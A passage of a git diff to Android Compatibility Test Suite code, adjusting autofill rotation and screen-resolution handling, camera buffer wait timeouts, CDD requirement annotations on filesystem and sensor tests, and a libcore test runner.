+            ManualAuthenticationActivity.setResponse(new CannedFillResponse.Builder()
+                    .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                            .setField(ID_USERNAME, AutofillValue.forText("autofilled username"))
+                            .setPresentation(createPresentation("dataset")).build())
+                    .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                    .setExtras(extras).build());
 
-        // Trigger autofill on username
-        sUiBot.selectById(USERNAME_FULL_ID);
+            CannedFillResponse response = new CannedFillResponse.Builder()
+                    .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+                    .setPresentation(createPresentation("authenticate"))
+                    .build();
+            sReplier.addResponse(response);
 
-        // Wait for fill request to be processed
-        sReplier.getNextFillRequest();
+            // Trigger autofill on username
+            sUiBot.selectById(USERNAME_FULL_ID);
 
-        // Wait until authentication is shown
-        sUiBot.assertDatasets("authenticate");
+            // Wait for fill request to be processed
+            sReplier.getNextFillRequest();
 
-        // Change orientation which triggers a destroy -> create in the app as the activity
-        // cannot deal with such situations
-        sUiBot.setScreenOrientation(LANDSCAPE);
+            // Wait until authentication is shown
+            sUiBot.assertDatasets("authenticate");
 
-        // Delete stopped marker
-        getStoppedMarker(getContext()).delete();
+            // Change orientation which triggers a destroy -> create in the app as the activity
+            // cannot deal with such situations
+            sUiBot.setScreenOrientation(LANDSCAPE);
 
-        // Authenticate
-        sUiBot.selectDataset("authenticate");
+            // Delete stopped marker
+            getStoppedMarker(getContext()).delete();
 
-        // Kill activity that is in the background
-        killOfProcessLoginActivityProcess();
+            // Authenticate
+            sUiBot.selectDataset("authenticate");
 
-        // Change orientation which triggers a destroy -> create in the app as the activity
-        // cannot deal with such situations
-        sUiBot.setScreenOrientation(PORTRAIT);
+            // Kill activity that is in the background
+            killOfProcessLoginActivityProcess();
 
-        // Approve authentication
-        sUiBot.selectById(BUTTON_FULL_ID);
+            // Change orientation which triggers a destroy -> create in the app as the activity
+            // cannot deal with such situations
+            sUiBot.setScreenOrientation(PORTRAIT);
 
-        // Wait for dataset to be shown
-        sUiBot.assertDatasets("dataset");
+            // Approve authentication
+            sUiBot.selectById(BUTTON_FULL_ID);
 
-        // Change orientation which triggers a destroy -> create in the app as the activity
-        // cannot deal with such situations
-        sUiBot.setScreenOrientation(LANDSCAPE);
+            // Wait for dataset to be shown
+            sUiBot.assertDatasets("dataset");
 
-        // Select dataset
-        sUiBot.selectDataset("dataset");
+            // Change orientation which triggers a destroy -> create in the app as the activity
+            // cannot deal with such situations
+            sUiBot.setScreenOrientation(LANDSCAPE);
 
-        // Check the results.
-        eventually(() -> assertThat(sUiBot.getTextById(USERNAME_FULL_ID)).isEqualTo(
-                "autofilled username"));
+            // Select dataset
+            sUiBot.selectDataset("dataset");
 
-        // Set password
-        sUiBot.setTextById(PASSWORD_FULL_ID, "new password");
+            // Check the results.
+            eventually(() -> assertThat(sUiBot.getTextById(USERNAME_FULL_ID)).isEqualTo(
+                    "autofilled username"));
 
-        // Login
-        sUiBot.selectById(LOGIN_FULL_ID);
+            // Set password
+            sUiBot.setTextById(PASSWORD_FULL_ID, "new password");
 
-        // Wait for save UI to be shown
-        sUiBot.assertShownById("android:id/autofill_save_yes");
+            // Login
+            sUiBot.selectById(LOGIN_FULL_ID);
 
-        // Change orientation to make sure save UI can handle this
-        sUiBot.setScreenOrientation(PORTRAIT);
+            // Wait for save UI to be shown
+            sUiBot.assertShownById("android:id/autofill_save_yes");
 
-        // Tap "Save".
-        sUiBot.selectById("android:id/autofill_save_yes");
+            // Change orientation to make sure save UI can handle this
+            sUiBot.setScreenOrientation(PORTRAIT);
 
-        // Get save request
-        InstrumentedAutoFillService.SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
+            // Tap "Save".
+            sUiBot.selectById("android:id/autofill_save_yes");
 
-        // Make sure data is correctly saved
-        final AssistStructure.ViewNode username = findNodeByResourceId(saveRequest.structure,
-                ID_USERNAME);
-        assertTextAndValue(username, "autofilled username");
-        final AssistStructure.ViewNode password = findNodeByResourceId(saveRequest.structure,
-                ID_PASSWORD);
-        assertTextAndValue(password, "new password");
+            // Get save request
+            InstrumentedAutoFillService.SaveRequest saveRequest = sReplier.getNextSaveRequest();
+            assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
 
-        // Make sure extras were passed back on onSave()
-        assertThat(saveRequest.data).isNotNull();
-        final String extraValue = saveRequest.data.getString("numbers");
-        assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
+            // Make sure data is correctly saved
+            final AssistStructure.ViewNode username = findNodeByResourceId(saveRequest.structure,
+                    ID_USERNAME);
+            assertTextAndValue(username, "autofilled username");
+            final AssistStructure.ViewNode password = findNodeByResourceId(saveRequest.structure,
+                    ID_PASSWORD);
+            assertTextAndValue(password, "new password");
 
-        eventually(() -> assertNoDanglingSessions());
+            // Make sure extras were passed back on onSave()
+            assertThat(saveRequest.data).isNotNull();
+            final String extraValue = saveRequest.data.getString("numbers");
+            assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
+
+            eventually(() -> assertNoDanglingSessions());
+        } finally {
+            sUiBot.resetScreenResolution();
+        }
     }
 
     @Test
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
index 24b5e4c..4abccc9 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
@@ -28,6 +28,8 @@
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.autofillservice.cts.CannedFillResponse.CannedDataset;
 import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
 import android.autofillservice.cts.SimpleSaveActivity.FillExpectation;
@@ -168,6 +170,7 @@
 
     @Test
     public void testSave_afterRotation() throws Exception {
+        assumeTrue("Screen rotation not supported", sUiBot.isScreenRotationSupported());
         sUiBot.setScreenOrientation(UiBot.PORTRAIT);
         try {
             saveTest(true);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 436f59f..f54f875 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -20,6 +20,7 @@
 import static android.autofillservice.cts.Helper.SAVE_TIMEOUT_MS;
 import static android.autofillservice.cts.Helper.UI_RECENTS_SWITCH_TIMEOUT_MS;
 import static android.autofillservice.cts.Helper.UI_TIMEOUT_MS;
+import static android.autofillservice.cts.Helper.runShellCommand;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
@@ -42,6 +43,7 @@
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
 import android.text.Html;
 import android.util.Log;
 import android.view.accessibility.AccessibilityWindowInfo;
@@ -77,6 +79,9 @@
             "autofill_picker_accessibility_title";
     private static final String RESOURCE_STRING_SAVE_SNACKBAR_ACCESSIBILITY_TITLE =
             "autofill_save_accessibility_title";
+    private static final String RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION =
+            "config_forceDefaultOrientation";
+
 
     private static final String TAG = "AutoFillCtsUiBot";
 
@@ -260,6 +265,22 @@
     }
 
     /**
+     * Asserts the id is not shown on the screen anymore, using a resource id from the test package.
+     *
+     * <p><b>Note:</b> this method should only called AFTER the id was previously shown, otherwise
+     * it might pass without really asserting anything.
+     */
+    void assertGoneByRelativeId(String id, long timeoutMs) throws IOException {
+        boolean gone = mDevice.wait(Until.gone(By.res(mPackageName, id)), timeoutMs);
+        if (!gone) {
+            final String message = "Object with id '" + id + "' should be gone after "
+                    + timeoutMs + " ms";
+            dumpScreen();
+            throw new RetryableException(message);
+        }
+    }
+
+    /**
      * Gets the text set on a view.
      */
     String getTextById(String id) {
@@ -676,4 +697,47 @@
     public void dumpScreen() throws IOException {
         mDevice.dumpWindowHierarchy(System.out);
     }
-}
+
+    /**
+     * Sets screen resolution.
+     *
+     * <p>If the screen is too small and the devices shows an IME, it might not have space for all
+     * UI elements after the device is rotated to landscape.
+     *
+     * <p>{@link #resetScreenResolution()} should always be called too.
+     */
+    void setScreenResolution() {
+        assumeMinimumResolution(500);
+
+        runShellCommand("wm size 1080x1920");
+        runShellCommand("wm density 320");
+    }
+
+    /**
+     * Resets screen resolution.
+     */
+    void resetScreenResolution() {
+        runShellCommand("wm density reset");
+        runShellCommand("wm size reset");
+    }
+
+    private boolean getBoolean(String id) {
+        final Resources resources = mContext.getResources();
+        final int booleanId = resources.getIdentifier(id, "bool", "android");
+        return resources.getBoolean(booleanId);
+    }
+
+    /**
+     * Returns {@code true} if display rotation is supported, {@code false} otherwise.
+     */
+    public boolean isScreenRotationSupported() {
+        try {
+            return !getBoolean(RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION);
+        } catch (Resources.NotFoundException e) {
+            Log.d(TAG, "Resource not found: "
+                    + RESOURCE_BOOLEAN_CONFIG_FORCE_DEFAULT_ORIENTATION
+                    + ". Assume rotation supported");
+            return true;
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
index d3b2d82..cf2ecfc 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
@@ -25,6 +25,7 @@
 import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
 import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
 import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
 import android.view.ViewStructure.HtmlInfo;
 
 import org.junit.AfterClass;
@@ -35,19 +36,34 @@
 
 public class WebViewActivityTest extends AutoFillServiceTestCase {
 
+    private static final String TAG = "WebViewActivityTest";
+
     // TODO(b/64951517): WebView currently does not trigger the autofill callbacks when values are
     // set using accessibility.
     private static final boolean INJECT_EVENTS = true;
 
     @Rule
     public final AutofillActivityTestRule<WebViewActivity> mActivityRule =
-            new AutofillActivityTestRule<WebViewActivity>(WebViewActivity.class);
+            new AutofillActivityTestRule<WebViewActivity>(WebViewActivity.class) {
+    // TODO(b/111838239): latest WebView implementation calls AutofillManager.isEnabled() to
+    // disable autofill for optimization when it returns false, and unfortunately the value
+    // returned by that method does not change when the service is enabled / disabled, so we
+    // need to start enable the service before launching the activity.
+    // Once that's fixed, remove this overridden method.
+                @Override
+                protected void beforeActivityLaunched() {
+                    super.beforeActivityLaunched();
+                    Log.i(TAG, "Setting service before launching the activity");
+                    enableService();
+                }
+            };
 
     private WebViewActivity mActivity;
 
     @Before
     public void setActivity() {
         mActivity = mActivityRule.getActivity();
+        assertAutofillEnabledOnWebView();
     }
 
     @BeforeClass
@@ -276,4 +292,8 @@
             Helper.assertTextAndValue(passwordNode2, "SWEET");
         }
     }
+
+    private void assertAutofillEnabledOnWebView() {
+        assertThat(mActivity.mWebView.isAutofillEnabled()).isTrue();
+    }
 }
diff --git a/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java b/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
index 8c7e342..92b171a 100644
--- a/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
@@ -379,6 +379,20 @@
         checkNotNull("request", request);
         checkNotNull("graph", graph);
 
+        long exposureTimeNs = -1;
+        int controlMode = -1;
+        int aeMode = -1;
+        if (request.get(CaptureRequest.CONTROL_MODE) != null) {
+            controlMode = request.get(CaptureRequest.CONTROL_MODE);
+        }
+        if (request.get(CaptureRequest.CONTROL_AE_MODE) != null) {
+            aeMode = request.get(CaptureRequest.CONTROL_AE_MODE);
+        }
+        if ((request.get(CaptureRequest.SENSOR_EXPOSURE_TIME) != null) &&
+                ((controlMode == CaptureRequest.CONTROL_MODE_OFF) ||
+                 (aeMode == CaptureRequest.CONTROL_AE_MODE_OFF))) {
+            exposureTimeNs = request.get(CaptureRequest.SENSOR_EXPOSURE_TIME);
+        }
         mSession.capture(request, new CameraCaptureSession.CaptureCallback() {
             @Override
             public void onCaptureCompleted(CameraCaptureSession session, CaptureRequest request,
@@ -388,7 +402,12 @@
         }, mHandler);
 
         if (VERBOSE) Log.v(TAG, "Waiting for single shot buffer");
-        graph.advanceInputWaiting();
+        if (exposureTimeNs > 0) {
+            graph.advanceInputWaiting(
+                    java.util.concurrent.TimeUnit.NANOSECONDS.toMillis(exposureTimeNs));
+        } else {
+            graph.advanceInputWaiting();
+        }
         if (VERBOSE) Log.v(TAG, "Got the buffer");
         graph.execute();
     }
diff --git a/tests/camera/src/android/hardware/camera2/cts/rs/BlockingInputAllocation.java b/tests/camera/src/android/hardware/camera2/cts/rs/BlockingInputAllocation.java
index c7435a8..576f627 100644
--- a/tests/camera/src/android/hardware/camera2/cts/rs/BlockingInputAllocation.java
+++ b/tests/camera/src/android/hardware/camera2/cts/rs/BlockingInputAllocation.java
@@ -99,6 +99,29 @@
     }
 
     /**
+     * Waits for a buffer to become available, then immediately
+     * {@link Allocation#ioReceive receives} it.
+     *
+     * <p>After calling this, the next script used with this allocation will use the
+     * newer buffer.</p>
+     *
+     * @param timeoutMs timeout in milliseconds.
+     *
+     * @throws TimeoutRuntimeException If waiting for the buffer has timed out.
+     * @throws IllegalStateException If this object has already been {@link #close closed}
+     */
+    public synchronized void waitForBufferAndReceive(long timeoutMs) {
+        checkNotClosed();
+
+        if (VERBOSE) Log.v(TAG, "waitForBufferAndReceive - begin");
+
+        mListener.waitForBuffer(timeoutMs);
+        mAllocation.ioReceive();
+
+        if (VERBOSE) Log.v(TAG, "waitForBufferAndReceive - Allocation#ioReceive");
+    }
+
+    /**
      * If there are multiple pending buffers, {@link Allocation#ioReceive receive} the latest one.
      *
      * <p>Does not block if there are no currently pending buffers.</p>
@@ -175,14 +198,16 @@
         /**
          * Waits for a buffer. Caller must call ioReceive exactly once after calling this.
          *
+         * @param timeoutMs wait timeout in milliseconds
+         *
          * @throws TimeoutRuntimeException If waiting for the buffer has timed out.
          */
-        public void waitForBuffer() {
+        private void waitForBufferWithTimeout(long timeoutMs) {
             synchronized (mBufferSyncObject) {
                 while (mPendingBuffers == 0) {
                     try {
                         if (VERBOSE) Log.v(TAG, "waiting for next buffer");
-                        mBufferSyncObject.wait(TIMEOUT_MS);
+                        mBufferSyncObject.wait(timeoutMs);
                         if (mPendingBuffers == 0) {
                             throw new TimeoutRuntimeException("wait for buffer image timed out");
                         }
@@ -194,6 +219,30 @@
             }
         }
 
+        /**
+         * Waits for a buffer. Caller must call ioReceive exactly once after calling this.
+         *
+         * @param timeoutMs wait timeout in milliseconds.
+         *
+         * @throws TimeoutRuntimeException If waiting for the buffer has timed out.
+         */
+        public void waitForBuffer(long timeoutMs) {
+            if (timeoutMs <= TIMEOUT_MS) {
+                waitForBufferWithTimeout(TIMEOUT_MS);
+            } else {
+                waitForBufferWithTimeout(timeoutMs + TIMEOUT_MS);
+            }
+        }
+
+        /**
+         * Waits for a buffer. Caller must call ioReceive exactly once after calling this.
+         *
+         * @throws TimeoutRuntimeException If waiting for the buffer has timed out.
+         */
+        public void waitForBuffer() {
+            waitForBufferWithTimeout(TIMEOUT_MS);
+        }
+
         @Override
         public void onBufferAvailable(Allocation a) {
             if (VERBOSE) Log.v(TAG, "new buffer in allocation available");
diff --git a/tests/camera/src/android/hardware/camera2/cts/rs/ScriptGraph.java b/tests/camera/src/android/hardware/camera2/cts/rs/ScriptGraph.java
index 56d8703..6bb0f40 100644
--- a/tests/camera/src/android/hardware/camera2/cts/rs/ScriptGraph.java
+++ b/tests/camera/src/android/hardware/camera2/cts/rs/ScriptGraph.java
@@ -88,6 +88,21 @@
     }
 
     /**
+     *
+     * Check and throw an exception in case the graph was not configured with
+     * {@link Builder#configureInputWithSurface configureInputWithSurface}.
+     *
+     * @throws IllegalArgumentException
+     *            if the graph wasn't configured with
+     *            {@link Builder#configureInputWithSurface configureInputWithSurface}
+     */
+    private void checkInput() {
+        if (!isInputFromSurface()) {
+            throw new IllegalArgumentException("Graph was not configured with USAGE_IO_INPUT");
+        }
+    }
+
+    /**
      * Wait until another buffer is produced into the input {@link Surface}, then
      * update the backing input {@link Allocation} with the latest buffer with
      * {@link Allocation#ioReceive ioReceive}.
@@ -100,14 +115,30 @@
      */
     public void advanceInputWaiting() {
         checkNotClosed();
-        if (!isInputFromSurface()) {
-            throw new IllegalArgumentException("Graph was not configured with USAGE_IO_INPUT");
-        }
-
+        checkInput();
         mInputBlocker.waitForBufferAndReceive();
     }
 
     /**
+     * Wait until another buffer is produced into the input {@link Surface}, then
+     * update the backing input {@link Allocation} with the latest buffer with
+     * {@link Allocation#ioReceive ioReceive}.
+     *
+     * @param timeoutMs wait timeout in milliseconds.
+     *
+     * @throws IllegalArgumentException
+     *            if the graph wasn't configured with
+     *            {@link Builder#configureInputWithSurface configureInputWithSurface}
+     * @throws TimeoutRuntimeException
+     *            if waiting for the buffer times out
+     */
+    public void advanceInputWaiting(long timeoutMs) {
+        checkNotClosed();
+        checkInput();
+        mInputBlocker.waitForBufferAndReceive(timeoutMs);
+    }
+
+    /**
      * Update the backing input {@link Allocation} with the latest buffer with
      * {@link Allocation#ioReceive ioReceive} repeatedly until no more buffers are pending.
      *
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index aad5fd8..1679195 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -1566,9 +1566,9 @@
     private static void validateRawPrivateData(byte[] rawData, int width, int height,
             long ts, String filePath) {
         if (VERBOSE) Log.v(TAG, "Validating private raw data");
-        // Expect each RAW pixel should occupy at least one byte and no more than 2.5 bytes
+        // Expect each RAW pixel should occupy at least one byte and no more than 30 bytes
         int expectedSizeMin = width * height;
-        int expectedSizeMax = width * height * 5 / 2;
+        int expectedSizeMax = width * height * 30;
 
         assertTrue("Opaque RAW size " + rawData.length + "out of normal bound [" +
                 expectedSizeMin + "," + expectedSizeMax + "]",
diff --git a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
index f9abebb..408fa79 100644
--- a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
@@ -34,7 +34,7 @@
         super.tearDown();
     }
 
-    @CddTest(requirement="8.2")
+    @CddTest(requirement="8.2/H-0-4,T-0-4")
     public void testRandomRead() throws Exception {
         final int READ_BUFFER_SIZE = 4 * 1024;
         final long fileSize = FileUtil.getFileSizeExceedingMemory(getContext(), READ_BUFFER_SIZE);
@@ -49,7 +49,7 @@
     }
 
     // It is taking too long in some device, and thus cannot run multiple times
-    @CddTest(requirement="8.2")
+    @CddTest(requirement="8.2/H-0-2,T-0-2")
     public void testRandomUpdate() throws Exception {
         final int WRITE_BUFFER_SIZE = 4 * 1024;
         final long usableSpace = Environment.getDataDirectory().getUsableSpace();
diff --git a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
index ed24759..4907b81 100644
--- a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
@@ -18,6 +18,7 @@
 
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.MeasureRun;
 import com.android.compatibility.common.util.MeasureTime;
@@ -46,7 +47,7 @@
         super.tearDown();
     }
 
-    @CddTest(requirement="8.2")
+    @CddTest(requirement="8.2/H-0-1,T-0-1")
     public void testSingleSequentialWrite() throws Exception {
         final long fileSize = FileUtil.getFileSizeExceedingMemory(getContext(), BUFFER_SIZE);
         if (fileSize == 0) { // not enough space, give up
@@ -88,7 +89,7 @@
                 NUMBER_REPETITION, REPORT_LOG_NAME, streamName);
     }
 
-    @CddTest(requirement="8.2")
+    @CddTest(requirement="8.2/H-0-3,T-0-3")
     public void testSingleSequentialRead() throws Exception {
         final long fileSize = FileUtil.getFileSizeExceedingMemory(getContext(), BUFFER_SIZE);
         if (fileSize == 0) { // not enough space, give up
diff --git a/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java b/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java
index cc03798..f4021b2 100644
--- a/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java
+++ b/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java
@@ -18,6 +18,7 @@
 
 import com.android.tradefed.config.Option;
 import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.result.ITestInvocationListener;
 import com.android.tradefed.testtype.AndroidJUnitTest;
 import com.android.tradefed.util.ArrayUtil;
@@ -48,6 +49,16 @@
         if (!mCoreExpectations.isEmpty()) {
             addInstrumentationArg(INSTRUMENTATION_ARG_NAME, ArrayUtil.join(",", mCoreExpectations));
         }
+
+        if (getTestPackageName() != null && getClassName() != null) {
+            // If the test-package is set, we should ignore --class, --method it might cause issue
+            // in more complex libcore suites.
+            setClassName(null);
+            setMethodName(null);
+            CLog.d(
+                    "Setting --class and --method to null to avoid conflict with --test-package "
+                            + "option.");
+        }
         super.run(listener);
     }
 }
diff --git a/tests/sensor/jni/nativeTestHelper.cpp b/tests/sensor/jni/nativeTestHelper.cpp
index 3c7df9a..69eeba6 100644
--- a/tests/sensor/jni/nativeTestHelper.cpp
+++ b/tests/sensor/jni/nativeTestHelper.cpp
@@ -33,7 +33,11 @@
     jclass exClass;
     const char *className = "java/lang/AssertionError";
     exClass = env->FindClass(className);
-    env->ThrowNew(exClass, msg);
+    jmethodID constructor = env->GetMethodID(exClass, "<init>",
+                                             "(Ljava/lang/String;Ljava/lang/Throwable;)V");
+    jstring msgStr = env->NewStringUTF(msg);
+    jobject exception = env->NewObject(exClass, constructor, msgStr, nullptr);
+    env->Throw(static_cast<jthrowable>(exception));
     free(msg);
 }
 
diff --git a/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java b/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java
index 1b2b25c..25512ec 100644
--- a/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java
+++ b/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java
@@ -25,6 +25,8 @@
 import android.hardware.cts.helpers.sensorverification.EventBasicVerification;
 import android.hardware.cts.helpers.sensorverification.ISensorVerification;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.concurrent.TimeUnit;
 
 /**
@@ -55,10 +57,12 @@
      */
     private static final int BATCHING_PADDING_TIME_S = (int) Math.ceil(BATCHING_PERIOD * 0.1f + 2);
 
+    @CddTest(requirement="7.3/C-1-3")
     public void testAccelerometer_fastest_batching() throws Throwable {
         runBatchingSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_FASTEST, BATCHING_PERIOD);
     }
 
+    @CddTest(requirement="7.3/C-1-3")
     public void testAccelerometer_50hz_batching() throws Throwable {
         runBatchingSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_50HZ, BATCHING_PERIOD);
     }
@@ -95,10 +99,12 @@
         runFlushSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, RATE_50HZ, BATCHING_PERIOD);
     }
 
+    @CddTest(requirement="7.3/C-1-3")
     public void testMagneticField_fastest_batching() throws Throwable {
         runBatchingSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_FASTEST, BATCHING_PERIOD);
     }
 
+    @CddTest(requirement="7.3/C-1-3")
     public void testMagneticField_50hz_batching() throws Throwable {
         runBatchingSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_50HZ, BATCHING_PERIOD);
     }
@@ -131,10 +137,12 @@
         runFlushSensorTest(Sensor.TYPE_ORIENTATION, RATE_50HZ, BATCHING_PERIOD);
     }
 
+    @CddTest(requirement="7.3/C-1-3")
     public void testGyroscope_fastest_batching() throws Throwable {
         runBatchingSensorTest(Sensor.TYPE_GYROSCOPE, RATE_FASTEST, BATCHING_PERIOD);
     }
 
+    @CddTest(requirement="7.3/C-1-3")
     public void testGyroscope_50hz_batching() throws Throwable {
         runBatchingSensorTest(Sensor.TYPE_GYROSCOPE, RATE_50HZ, BATCHING_PERIOD);
     }
@@ -147,10 +155,12 @@
         runFlushSensorTest(Sensor.TYPE_GYROSCOPE, RATE_50HZ, BATCHING_PERIOD);
     }
 
+    @CddTest(requirement="7.3/C-1-3")
     public void testPressure_fastest_batching() throws Throwable {
         runBatchingSensorTest(Sensor.TYPE_PRESSURE, RATE_FASTEST, BATCHING_PERIOD);
     }
 
+    @CddTest(requirement="7.3/C-1-3")
     public void testPressure_50hz_batching() throws Throwable {
         runBatchingSensorTest(Sensor.TYPE_PRESSURE, RATE_50HZ, BATCHING_PERIOD);
     }
@@ -163,10 +173,12 @@
         runFlushSensorTest(Sensor.TYPE_PRESSURE, RATE_50HZ, BATCHING_PERIOD);
     }
 
+    @CddTest(requirement="7.3/C-1-3")
     public void testGravity_fastest_batching() throws Throwable {
         runBatchingSensorTest(Sensor.TYPE_GRAVITY, RATE_FASTEST, BATCHING_PERIOD);
     }
 
+    @CddTest(requirement="7.3/C-1-3")
     public void testGravity_50hz_batching() throws Throwable {
         runBatchingSensorTest(Sensor.TYPE_GRAVITY, RATE_50HZ, BATCHING_PERIOD);
     }
@@ -179,10 +191,12 @@
         runFlushSensorTest(Sensor.TYPE_GRAVITY, RATE_50HZ, BATCHING_PERIOD);
     }
 
+    @CddTest(requirement="7.3/C-1-3")
     public void testRotationVector_fastest_batching() throws Throwable {
         runBatchingSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_FASTEST, BATCHING_PERIOD);
     }
 
+    @CddTest(requirement="7.3/C-1-3")
     public void testRotationVector_50hz_batching() throws Throwable {
         runBatchingSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_50HZ, BATCHING_PERIOD);
     }
@@ -211,10 +225,12 @@
         runFlushSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_50HZ, BATCHING_PERIOD);
     }
 
+    @CddTest(requirement="7.3/C-1-3")
     public void testGameRotationVector_fastest_batching() throws Throwable {
         runBatchingSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_FASTEST, BATCHING_PERIOD);
     }
 
+    @CddTest(requirement="7.3/C-1-3")
     public void testGameRotationVector_50hz_batching() throws Throwable {
         runBatchingSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_50HZ, BATCHING_PERIOD);
     }
@@ -243,10 +259,12 @@
         runFlushSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_50HZ, BATCHING_PERIOD);
     }
 
+    @CddTest(requirement="7.3/C-1-3")
     public void testLinearAcceleration_fastest_batching() throws Throwable {
         runBatchingSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_FASTEST, BATCHING_PERIOD);
     }
 
+    @CddTest(requirement="7.3/C-1-3")
     public void testLinearAcceleration_50hz_batching() throws Throwable {
         runBatchingSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_50HZ, BATCHING_PERIOD);
     }
diff --git a/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java b/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java
index 77852f1..8f65c54 100644
--- a/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorDirectReportTest.java
@@ -31,6 +31,8 @@
 import android.os.SystemClock;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.io.IOException;
 import java.io.UncheckedIOException;
 import java.nio.ByteBuffer;
@@ -204,6 +206,7 @@
                        (mHardwareBuffer != null && mHardwareBufferSecondary != null));
     }
 
+    @CddTest(requirement="7.3.9/C-3-1,C-3-2")
     public void testAccelerometerAshmemNormal() {
         runSensorDirectReportTest(
                 Sensor.TYPE_ACCELEROMETER,
@@ -211,6 +214,7 @@
                 SensorDirectChannel.RATE_NORMAL);
     }
 
+    @CddTest(requirement="7.3.9/C-3-1,C-3-2")
     public void testGyroscopeAshmemNormal() {
         runSensorDirectReportTest(
                 Sensor.TYPE_GYROSCOPE,
@@ -218,6 +222,7 @@
                 SensorDirectChannel.RATE_NORMAL);
     }
 
+    @CddTest(requirement="7.3.9/C-3-1,C-3-2")
     public void testMagneticFieldAshmemNormal() {
         runSensorDirectReportTest(
                 Sensor.TYPE_MAGNETIC_FIELD,
@@ -225,6 +230,7 @@
                 SensorDirectChannel.RATE_NORMAL);
     }
 
+    @CddTest(requirement="7.3.9/C-3-1,C-3-2")
     public void testAccelerometerAshmemFast() {
         runSensorDirectReportTest(
                 Sensor.TYPE_ACCELEROMETER,
@@ -233,6 +239,7 @@
 
     }
 
